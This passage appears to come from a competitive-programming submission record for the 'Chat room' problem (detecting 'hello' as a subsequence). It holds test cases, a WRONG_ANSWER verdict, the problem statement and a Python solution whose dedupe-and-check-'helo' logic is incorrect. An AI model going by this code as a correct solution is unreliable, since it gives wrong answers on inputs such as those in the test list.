"pplynflbjlseflaegzqpdxswgunhnlglqhycrbcwdfhclmcrwekkzsoosmfblljeenwfjyifcvxihhhbyhmhlkvtskeglaovjnsi", "output": "YES" }, { "input": "xqjqmenkodmlhzyzmmvofdngktygbbxbzpluzcohohmalkoeuwfikblltaaigv", "output": "NO" }, { "input": "hello", "output": "YES" }, { "input": "oohell", "output": "NO" }, { "input": "hell", "output": "NO" }, { "input": "eloellohoelo", "output": "NO" }, { "input": "helllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllo", "output": "YES" } ]
1,592,663,369
2,147,483,647
PyPy 3
WRONG_ANSWER
TESTS
4
124
0
s=input() b='' c='' for i in s: if i not in b: b=b+i for j in b: if j=='h' or j=='e' or j=='l' or j=='o': c=c+j if 'helo' in c: print('YES') else: print('NO')
Title: Chat room Time Limit: 1 seconds Memory Limit: 256 megabytes Problem Description: Vasya has recently learned to type and log on to the Internet. He immediately entered a chat room and decided to say hello to everybody. Vasya typed the word *s*. It is considered that Vasya managed to say hello if several letters can be deleted from the typed word so that it resulted in the word "hello". For example, if Vasya types the word "ahhellllloou", it will be considered that he said hello, and if he types "hlelo", it will be considered that Vasya got misunderstood and he didn't manage to say hello. Determine whether Vasya managed to say hello by the given word *s*. Input Specification: The first and only line contains the word *s*, which Vasya typed. This word consisits of small Latin letters, its length is no less that 1 and no more than 100 letters. Output Specification: If Vasya managed to say hello, print "YES", otherwise print "NO". Demo Input: ['ahhellllloou\n', 'hlelo\n'] Demo Output: ['YES\n', 'NO\n'] Note: none
```python s=input() b='' c='' for i in s: if i not in b: b=b+i for j in b: if j=='h' or j=='e' or j=='l' or j=='o': c=c+j if 'helo' in c: print('YES') else: print('NO') ```
0